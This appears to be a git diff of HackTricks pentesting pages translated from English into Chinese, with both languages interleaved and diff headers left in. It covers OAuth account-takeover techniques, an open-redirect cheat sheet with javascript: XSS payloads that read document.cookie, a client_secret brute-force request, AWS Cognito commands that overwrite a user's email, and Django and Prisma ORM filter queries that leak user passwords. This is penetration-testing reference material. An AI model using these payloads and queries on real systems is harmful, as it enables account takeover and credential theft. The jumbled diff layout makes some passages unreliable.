利用技术根据授权服务器的验证逻辑而异。它们可以从严格的路径匹配到接受指定域或子目录内的任何 URL。常见的利用方法包括开放重定向、路径遍历、利用弱正则表达式和 HTML 注入进行令牌窃取。
Exploitation techniques vary based on the authorization server's validation logic. They can range from strict path matching to accepting any URL within the specified domain or subdirectory. Common exploitation methods include open redirects, path traversal, exploiting weak regexes, and HTML injection for token theft.
除了 `redirect_uri`,其他 OAuth 和 OpenID 参数如 `client_uri``policy_uri``tos_uri``initiate_login_uri` 也容易受到重定向攻击。这些参数是可选的,其支持在不同服务器之间有所不同。
Besides `redirect_uri`, other OAuth and OpenID parameters like `client_uri`, `policy_uri`, `tos_uri`, and `initiate_login_uri` are also susceptible to redirection attacks. These parameters are optional and their support varies across servers.
对于那些针对 OpenID 服务器的攻击者,发现端点(`**.well-known/openid-configuration**`)通常列出有价值的配置细节,如 `registration_endpoint``request_uri_parameter_supported` 和 "`require_request_uri_registration`。这些细节可以帮助识别注册端点和服务器的其他配置细节。
For those targeting an OpenID server, the discovery endpoint (`**.well-known/openid-configuration**`) often lists valuable configuration details like `registration_endpoint`, `request_uri_parameter_supported`, and "`require_request_uri_registration`. These details can aid in identifying the registration endpoint and other configuration specifics of the server.
### XSS in redirect implementation <a href="#bda5" id="bda5"></a>
As mentioned in this bug bounty report [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) it might be possible that the redirect **URL is being reflected in the response** of the server after the user authenticates, being **vulnerable to XSS**. Possible payload to test:
### 重定向实现中的 XSS <a href="#bda5" id="bda5"></a>
正如在这个漏洞赏金报告中提到的 [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html),重定向 **URL 可能在用户认证后反映在服务器的响应中**,因此 **容易受到 XSS 攻击**。可能的测试有效载荷:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - 不当处理状态参数 <a href="#bda5" id="bda5"></a>
### CSRF - Improper handling of state parameter <a href="#bda5" id="bda5"></a>
在OAuth实现中**`state`参数**的误用或遗漏会显著增加**跨站请求伪造CSRF**攻击的风险。当`state`参数**未使用、作为静态值使用或未正确验证**时攻击者可以绕过CSRF保护。
In OAuth implementations, the misuse or omission of the **`state` parameter** can significantly increase the risk of **Cross-Site Request Forgery (CSRF)** attacks. This vulnerability arises when the `state` parameter is either **not used, used as a static value, or not properly validated**, allowing attackers to bypass CSRF protections.
攻击者可以通过拦截授权过程,将他们的账户与受害者的账户链接,从而导致潜在的**账户接管**。在使用OAuth进行**身份验证**的应用程序中,这尤其关键。
Attackers can exploit this by intercepting the authorization process to link their account with a victim's account, leading to potential **account takeovers**. This is especially critical in applications where OAuth is used for **authentication purposes**.
在各种**CTF挑战**和**黑客平台**中记录了此漏洞的真实案例,突显了其实际影响。该问题还扩展到与第三方服务的集成,如**Slack**、**Stripe**和**PayPal**,攻击者可以将通知或付款重定向到他们的账户。
Real-world examples of this vulnerability have been documented in various **CTF challenges** and **hacking platforms**, highlighting its practical implications. The issue also extends to integrations with third-party services like **Slack**, **Stripe**, and **PayPal**, where attackers can redirect notifications or payments to their accounts.
正确处理和验证**`state`参数**对于防范CSRF和保护OAuth流程至关重要。
Proper handling and validation of the **`state` parameter** are crucial for safeguarding against CSRF and securing the OAuth flow.
### 预账户接管 <a href="#ebe4" id="ebe4"></a>
### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
1. **在账户创建时未进行电子邮件验证**:攻击者可以预先使用受害者的电子邮件创建账户。如果受害者稍后使用第三方服务登录,应用程序可能会不经意地将此第三方账户链接到攻击者预先创建的账户,从而导致未经授权的访问。
2. **利用宽松的OAuth电子邮件验证**攻击者可能会利用不验证电子邮件的OAuth服务通过注册其服务并将账户电子邮件更改为受害者的电子邮件来进行攻击。这种方法同样存在未经授权的账户访问风险类似于第一种情况但通过不同的攻击向量。
1. **Without Email Verification on Account Creation**: Attackers can preemptively create an account using the victim's email. If the victim later uses a third-party service for login, the application might inadvertently link this third-party account to the attacker's pre-created account, leading to unauthorized access.
2. **Exploiting Lax OAuth Email Verification**: Attackers may exploit OAuth services that don't verify emails by registering with their service and then changing the account email to the victim's. This method similarly risks unauthorized account access, akin to the first scenario but through a different attack vector.
### 秘密泄露 <a href="#e177" id="e177"></a>
### Disclosure of Secrets <a href="#e177" id="e177"></a>
识别和保护秘密OAuth参数至关重要。虽然**`client_id`**可以安全披露,但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露,攻击者可以利用应用程序的身份和信任来**窃取用户`access_tokens`**和私人信息。
Identifying and protecting secret OAuth parameters is crucial. While the **`client_id`** can be safely disclosed, revealing the **`client_secret`** poses significant risks. If the `client_secret` is compromised, attackers can exploit the identity and trust of the application to **steal user `access_tokens`** and private information.
一个常见的漏洞出现在应用程序错误地在客户端而非服务器端处理授权`code``access_token`的交换。这一错误导致`client_secret`的暴露,使攻击者能够以应用程序的名义生成`access_tokens`。此外通过社会工程学攻击者可以通过向OAuth授权添加额外的范围来提升权限进一步利用应用程序的信任状态。
A common vulnerability arises when applications mistakenly handle the exchange of the authorization `code` for an `access_token` on the client-side rather than the server-side. This mistake leads to the exposure of the `client_secret`, enabling attackers to generate `access_tokens` under the guise of the application. Moreover, through social engineering, attackers could escalate privileges by adding additional scopes to the OAuth authorization, further exploiting the application's trusted status.
### Client Secret Bruteforce
You can try to **bruteforce the client_secret** of a service provider with the identity provider in order to be try to steal accounts.\
The request to BF may look similar to:
### 客户端密钥暴力破解
您可以尝试**暴力破解服务提供商的client_secret**与身份提供者,以试图窃取账户。\
暴力破解的请求可能类似于:
```
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
@ -117,31 +108,29 @@ Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
```
### Referer Header leaking Code + State
Once the client has the **code and state**, if it's **reflected inside the Referer header** when he browses to a different page, then it's vulnerable.
一旦客户端拥有了 **code 和 state**,如果它们在浏览到不同页面时 **反映在 Referer 头中**,那么就存在漏洞。
### Access Token Stored in Browser History
Go to the **browser history and check if the access token is saved in there**.
前往 **浏览器历史记录并检查访问令牌是否保存在其中**
### Everlasting Authorization Code
The **authorization code should live just for some time to limit the time window where an attacker can steal and use it**.
**授权代码应该只存在一段时间,以限制攻击者可以窃取和使用它的时间窗口**。
### Authorization/Refresh Token not bound to client
If you can get the **authorization code and use it with a different client then you can takeover other accounts**.
如果你可以获取 **授权代码并在不同的客户端上使用它,那么你可以接管其他账户**
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
[**Check this post**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
[**查看此帖子**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
### AWS Cognito <a href="#bda5" id="bda5"></a>
In this bug bounty report: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) you can see that the **token** that **AWS Cognito** gives back to the user might have **enough permissions to overwrite the user data**. Therefore, if you can **change the user email for a different user email**, you might be able to **take over** others accounts.
在这个漏洞赏金报告中:[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) 你可以看到 **AWS Cognito** 返回给用户的 **token** 可能具有 **足够的权限来覆盖用户数据**。因此,如果你可以 **将用户电子邮件更改为其他用户的电子邮件**,你可能能够 **接管** 其他账户。
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -149,87 +138,86 @@ aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
```
For more detailed info about how to abuse AWS cognito check:
对于如何滥用 AWS cognito 的更详细信息,请查看:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
### Abusing other Apps tokens <a href="#bda5" id="bda5"></a>
### 滥用其他应用程序令牌 <a href="#bda5" id="bda5"></a>
As [**mentioned in this writeup**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth flows that expect to receive the **token** (and not a code) could be vulnerable if they not check that the token belongs to the app.
正如 [**在这篇文章中提到的**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts),期望接收 **token**(而不是代码)的 OAuth 流程可能会受到攻击,如果它们没有检查该 token 是否属于该应用程序。
This is because an **attacker** could create an **application supporting OAuth and login with Facebook** (for example) in his own application. Then, once a victim logins with Facebook in the **attackers application**, the attacker could get the **OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token**.
这是因为 **攻击者** 可以在自己的应用程序中创建一个 **支持 OAuth 并使用 Facebook 登录的应用程序**(例如)。然后,一旦受害者在 **攻击者的应用程序** 中使用 Facebook 登录,攻击者就可以获取 **分配给其应用程序的用户的 OAuth token并使用它在受害者的 OAuth 应用程序中登录,使用受害者的用户 token**
> [!CAUTION]
> Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and aren't checking if the token was granted to their app ID.
> 因此,如果攻击者设法让用户访问自己的 OAuth 应用程序,他将能够在期望 token 且未检查 token 是否被授予其应用程序 ID 的应用程序中接管受害者的帐户。
### Two links & cookie <a href="#bda5" id="bda5"></a>
### 两个链接和 cookie <a href="#bda5" id="bda5"></a>
According to [**this writeup**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), it was possible to make a victim open a page with a **returnUrl** pointing to the attackers host. This info would be **stored in a cookie (RU)** and in a **later step** the **prompt** will **ask** the **user** if he wants to give access to that attackers host.
根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),可以让受害者打开一个指向攻击者主机的 **returnUrl** 的页面。此信息将被 **存储在 cookie (RU)** 中,在 **后续步骤** 中,**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
To bypass this prompt, it was possible to open a tab to initiate the **Oauth flow** that would set this RU cookie using the **returnUrl**, close the tab before the prompt is shown, and open a new tab without that value. Then, the **prompt won't inform about the attackers host**, but the cookie would be set to it, so the **token will be sent to the attackers host** in the redirection.
为了绕过此提示,可以打开一个选项卡以启动 **Oauth 流程**,该流程将使用 **returnUrl** 设置此 RU cookie在提示显示之前关闭选项卡然后打开一个没有该值的新选项卡。然后**提示不会通知攻击者的主机**,但 cookie 将被设置为它,因此 **token 将在重定向中发送到攻击者的主机**
### Prompt Interaction Bypass <a href="#bda5" id="bda5"></a>
### 提示交互绕过 <a href="#bda5" id="bda5"></a>
As explained in [**this video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), some OAuth implementations allows to indicate the **`prompt`** GET parameter as None (**`&prompt=none`**) to **prevent users being asked to confirm** the given access in a prompt in the web if they are already logged in the platform.
正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),某些 OAuth 实现允许将 **`prompt`** GET 参数指示为 None (**`&prompt=none`**) 以 **防止用户在已登录平台时被要求确认** 在网页上授予的访问权限。
### response_mode
As [**explained in this video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), it might be possible to indicate the parameter **`response_mode`** to indicate where do you want the code to be provided in the final URL:
正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),可能可以指示参数 **`response_mode`** 来指示您希望在最终 URL 中提供代码的位置:
- `response_mode=query` -> The code is provided inside a GET parameter: `?code=2397rf3gu93f`
- `response_mode=fragment` -> The code is provided inside the URL fragment parameter `#code=2397rf3gu93f`
- `response_mode=form_post` -> The code is provided inside a POST form with an input called `code` and the value
- `response_mode=web_message` -> The code is send in a post message: `window.opener.postMessage({"code": "asdasdasd...`
- `response_mode=query` -> 代码在 GET 参数中提供: `?code=2397rf3gu93f`
- `response_mode=fragment` -> 代码在 URL 片段参数中提供 `#code=2397rf3gu93f`
- `response_mode=form_post` -> 代码在一个名为 `code` 的 POST 表单中的输入中提供
- `response_mode=web_message` -> 代码通过 post 消息发送: `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC flow - 2 FA bypass <a href="#b440" id="b440"></a>
### OAuth ROPC 流程 - 2 FA 绕过 <a href="#b440" id="b440"></a>
According to [**this blog post**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), this is an OAuth flow that allows to login in OAuth via **username** and **password**. If during this simple flow a **token** with access to all the actions the user can perform is returned then it's possible to bypass 2FA using that token.
根据 [**这篇博客文章**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96),这是一个允许通过 **用户名****密码** 登录 OAuth 的 OAuth 流程。如果在这个简单流程中返回了一个具有用户可以执行的所有操作访问权限的 **token**,那么就可以使用该 token 绕过 2FA。
### ATO on web page redirecting based on open redirect to referrer <a href="#bda5" id="bda5"></a>
### 基于开放重定向到引荐的网页重定向 ATO <a href="#bda5" id="bda5"></a>
This [**blogpost**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) comments how it was possible to abuse an **open redirect** to the value from the **referrer** to abuse OAuth to ATO. The attack was:
这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 讨论了如何滥用 **开放重定向****引荐** 的值来滥用 OAuth 进行 ATO。攻击步骤如下
1. Victim access the attackers web page
2. The victim opens the malicious link and an opener starts the Google OAuth flow with `response_type=id_token,code&prompt=none` as additional parameters using as **referrer the attackers website**.
3. In the opener, after the provider authorizes the victim, it sends them back to the value of the `redirect_uri` parameter (victim web) with 30X code which still keeps the attackers website in the referer.
4. The victim **website trigger the open redirect based on the referrer** redirecting the victim user to the attackers website, as the **`respose_type`** was **`id_token,code`**, the code will be sent back to the attacker in the **fragment** of the URL allowing him to tacke over the account of the user via Google in the victims site.
1. 受害者访问攻击者的网页
2. 受害者打开恶意链接,打开者使用 `response_type=id_token,code&prompt=none` 作为附加参数启动 Google OAuth 流程,**引荐为攻击者网站**。
3. 在打开者中,提供者在授权受害者后,将他们发送回 `redirect_uri` 参数的值(受害者网站),并使用 30X 代码,这仍然保持攻击者网站在引荐中。
4. 受害者 **网站根据引荐触发开放重定向**,将受害者用户重定向到攻击者网站,因为 **`respose_type`** 是 **`id_token,code`**,代码将通过 URL 的 **片段** 返回给攻击者,从而允许他通过 Google 接管受害者网站的用户帐户。
### SSRFs parameters <a href="#bda5" id="bda5"></a>
### SSRFs 参数 <a href="#bda5" id="bda5"></a>
[**Check this research**](https://portswigger.net/research/hidden-oauth-attack-vectors) **For further details of this technique.**
[**查看这项研究**](https://portswigger.net/research/hidden-oauth-attack-vectors) **以获取此技术的更多详细信息。**
Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for **Server-Side Request Forgery (SSRF)** attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.
OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏洞向量,特别是针对 **服务器端请求伪造 (SSRF)** 攻击。此端点允许 OAuth 服务器接收有关客户端应用程序的详细信息,包括可能被利用的敏感 URL。
**Key Points:**
**关键点:**
- **Dynamic Client Registration** is often mapped to `/register` and accepts details like `client_name`, `client_secret`, `redirect_uris`, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests.
- This feature adheres to specifications laid out in **RFC7591** and **OpenID Connect Registration 1.0**, which include parameters potentially vulnerable to SSRF.
- The registration process can inadvertently expose servers to SSRF in several ways:
- **`logo_uri`**: A URL for the client application's logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.
- **`jwks_uri`**: A URL to the client's JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.
- **`sector_identifier_uri`**: References a JSON array of `redirect_uris`, which the server might fetch, creating an SSRF opportunity.
- **`request_uris`**: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.
- **动态客户端注册** 通常映射到 `/register`,并接受如 `client_name``client_secret``redirect_uris` 和通过 POST 请求的 logo 或 JSON Web Key Sets (JWKs) 的 URL 等详细信息。
- 此功能遵循 **RFC7591****OpenID Connect Registration 1.0** 中列出的规范,其中包括可能对 SSRF 易受攻击的参数。
- 注册过程可能会以多种方式无意中使服务器暴露于 SSRF
- **`logo_uri`**:客户端应用程序 logo 的 URL服务器可能会获取该 URL从而触发 SSRF 或导致 XSS如果 URL 处理不当)。
- **`jwks_uri`**:客户端的 JWK 文档的 URL如果恶意构造可能导致服务器向攻击者控制的服务器发出外部请求。
- **`sector_identifier_uri`**:引用 `redirect_uris` 的 JSON 数组,服务器可能会获取该数组,从而创建 SSRF 机会。
- **`request_uris`**:列出客户端允许的请求 URI如果服务器在授权过程开始时获取这些 URI则可能被利用。
**Exploitation Strategy:**
**利用策略:**
- SSRF can be triggered by registering a new client with malicious URLs in parameters like `logo_uri`, `jwks_uri`, or `sector_identifier_uri`.
- While direct exploitation via `request_uris` may be mitigated by whitelist controls, supplying a pre-registered, attacker-controlled `request_uri` can facilitate SSRF during the authorization phase.
- 通过在 `logo_uri``jwks_uri``sector_identifier_uri` 等参数中注册带有恶意 URL 的新客户端,可以触发 SSRF。
- 尽管通过白名单控制可能会减轻直接通过 `request_uris` 的利用,但提供一个预先注册的、攻击者控制的 `request_uri` 可以在授权阶段促进 SSRF。
## OAuth providers Race Conditions
## OAuth 提供者竞争条件
If the platform you are testing is an OAuth provider [**read this to test for possible Race Conditions**](race-condition.md).
如果您正在测试的平台是 OAuth 提供者 [**请阅读此内容以测试可能的竞争条件**](race-condition.md)。
## References
## 参考文献
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
@ -239,4 +227,3 @@ If the platform you are testing is an OAuth provider [**read this to test for po
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,20 +4,19 @@
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
通过8kSec Academy深化您在**移动安全**方面的专业知识。通过我们的自学课程掌握iOS和Android安全并获得认证
{% embed url="https://academy.8ksec.io/" %}
## Open redirect
### Redirect to localhost or arbitrary domains
### 重定向到localhost或任意域名
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
### Open Redirect to XSS
```bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
@ -63,9 +62,7 @@ javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
```
## Open Redirect uploading svg files
## Open Redirect 上传 SVG 文件
```markup
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
@ -75,9 +72,7 @@ xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
```
## Common injection parameters
## 常见注入参数
```
/{payload}
?next={payload}
@ -152,23 +147,17 @@ RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
```
## Code examples
## 代码示例
#### .Net
```bash
response.redirect("~/mysafe-subdomain/login.aspx")
```
#### Java
```bash
response.redirect("http://mysafedomain.com");
```
#### PHP
```php
<?php
/* browser redirections*/
@ -176,23 +165,21 @@ header("Location: http://mysafedomain.com");
exit;
?>
```
## Tools
## 工具
- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
## Resources
## 资源
- In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists.\\
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) 你可以找到模糊测试列表。\\
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
通过 8kSec 学院深化您在 **移动安全** 方面的专业知识。通过我们的自学课程掌握 iOS 和 Android 安全并获得认证:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,62 +4,55 @@
## Django ORM (Python)
In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) is explained how it's possible to make a Django ORM vulnerable by using for example a code like:
在[**这篇文章**](https://www.elttam.com/blog/plormbing-your-django-orm/)中解释了如何通过使用例如以下代码使Django ORM变得脆弱
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
"""
一些基本的API视图用户向其发送请求以
搜索文章
"""
def post(self, request: Request, format=None):
try:
<strong> articles = Article.objects.filter(**request.data)
</strong> serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
except Exception as e:
return Response([])
return Response(serializer.data)
</code></pre>
Note how all the request.data (which will be a json) is directly passed to **filter objects from the database**. An attacker could send unexpected filters in order to leak more data than expected from it.
注意所有的request.data这将是一个json是直接传递给**从数据库中过滤对象**的。攻击者可以发送意外的过滤器,以泄露比预期更多的数据。
Examples:
- **Login:** In a simple login try to leak the passwords of the users registered inside of it.
示例:
- **登录:** 在简单的登录中尝试泄露注册用户的密码。
```json
{
"username": "admin",
"password_startswith": "a"
"username": "admin",
"password_startswith": "a"
}
```
> [!CAUTION]
> It's possible to brute-force the password until it's leaked.
- **Relational filtering**: It's possible to traverse relations in order to leak information from columns that weren't even expected to be used in the operation. For example, if it's possible to leak articles created by a user withe these relations: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
> 可能会通过暴力破解密码直到其泄露。
- **关系过滤**可以遍历关系以泄露来自未预期在操作中使用的列的信息。例如如果可以通过以下关系泄露由用户创建的文章Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`)。
```json
{
"created_by__user__password__contains": "pass"
"created_by__user__password__contains": "pass"
}
```
> [!CAUTION]
> It's possible to find the password of all the users that have created an article
- **Many-to-many relational filtering**: In the previous example we couldn't find passwords of users that haven't created an article. However, following other relationships this is possible. For example: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
> 可能会找到所有创建了文章的用户的密码
- **多对多关系过滤**在前面的例子中我们无法找到没有创建文章的用户的密码。然而遵循其他关系这是可能的。例如Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith": "admi"
"created_by__departments__employees__user_startswith": "admi"
}
```
> [!CAUTION]
> In this case we can find all the users in the departments of users that have created articles and then leak their passwords (in the previous json we are just leaking the usernames but then it's possible to leak the passwords).
- **Abusing Django Group and Permission many-to-may relations with users**: Moreover, the AbstractUser model is used to generate users in Django and by default this model has some **many-to-many relationships with the Permission and Group tables**. Which basically is a default way to **access other users from one user** if they are in the **same group or share the same permission**.
> 在这种情况下我们可以找到所有在创建文章的用户部门中的用户然后泄露他们的密码在之前的json中我们只是泄露了用户名但随后可以泄露密码
- **滥用Django组和权限的多对多关系与用户**此外AbstractUser模型用于在Django中生成用户默认情况下该模型与权限和组表具有一些**多对多关系**。这基本上是**从一个用户访问其他用户**的默认方式,如果他们在**同一组或共享相同权限**。
```bash
# By users in the same group
created_by__user__groups__user__password
@ -67,268 +60,242 @@ created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
- **Bypass filter restrictions**: The same blogpost proposed to bypass the use of some filtering like `articles = Article.objects.filter(is_secret=False, **request.data)`. t's possible to dump articles that have is_secret=True because we can loop back from a relationship to the Article table and leak secret articles from non secret articles because the results are joined and the is_secret field is checked in the non secret article while the data is leaked from the secret article.
- **绕过过滤限制**: 同一篇博客文章建议绕过某些过滤的使用,例如 `articles = Article.objects.filter(is_secret=False, **request.data)`。可以转储 is_secret=True 的文章,因为我们可以从关系回溯到 Article 表,并从非秘密文章中泄露秘密文章,因为结果是连接的,并且在非秘密文章中检查 is_secret 字段,而数据是从秘密文章中泄露的。
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
> [!CAUTION]
> Abusing relationships it's possible to bypass even filters meant to protect the data shown.
- **Error/Time based via ReDoS**: In the previous examples it was expected to have different responses if the filtering worked or not to use that as oracle. But it could be possible that some action is done in the database and the response is always the same. In this scenario it could be possible to make the database error to get a new oracle.
> 滥用关系可以绕过即使是旨在保护所显示数据的过滤器。
- **基于错误/时间的 ReDoS**:在之前的示例中,如果过滤工作正常,预期会有不同的响应以用作神谕。但也可能在数据库中执行某些操作,响应始终相同。在这种情况下,可以使数据库错误以获取新的神谕。
```json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
From te same post regarding this vector:
- **SQLite**: Doesn't have a regexp operator by default (require loading a third-party extension)
- **PostgreSQL**: Doesn't have a default regex timeout and it's less prone to backtracking
- **MariaDB**: Doesn't have a regex timeout
- **SQLite**: 默认情况下没有 regexp 操作符(需要加载第三方扩展)
- **PostgreSQL**: 没有默认的正则超时,并且不太容易回溯
- **MariaDB**: 没有正则超时
## Prisma ORM (NodeJS)
The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
以下是 [**从此帖子提取的技巧**](https://www.elttam.com/blog/plorming-your-primsa-orm/)。
- **Full find contro**l:
- **完全查找控制**:
<pre class="language-javascript"><code class="lang-javascript">const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
try {
// 攻击者对所有 prisma 选项拥有完全控制
<strong> const posts = await prisma.article.findMany(req.body.filter)
</strong> res.json(posts);
} catch (error) {
res.json([]);
}
} catch (error) {
res.json([]);
}
});
</code></pre>
It's possible to see that the whole javascript body is passed to prisma to perform queries.
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
可以看到整个 javascript 主体被传递给 prisma 以执行查询。
在原始帖子的示例中,这将检查所有由某人创建的帖子(每个帖子都是由某人创建的),同时返回该某人的用户信息(用户名、密码...
```json
{
"filter": {
"include": {
"createdBy": true
}
}
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
```
The following one selects all the posts created by someone with a password and wil return the password:
以下内容选择所有由某个拥有密码的人创建的帖子,并将返回该密码:
```json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
```
- **完全的 where 子句控制**
- **Full where clause control**:
Let's take a look to this where the attack can control the `where` clause:
让我们看看攻击可以控制 `where` 子句的情况:
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // Vulnerable to ORM Leaks
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // 易受 ORM 泄漏影响
</strong> })
res.json(posts);
} catch (error) {
res.json([]);
}
res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
It's possible to filter the password of users directly like:
可以直接过滤用户的密码,例如:
```javascript
await prisma.article.findMany({
where: {
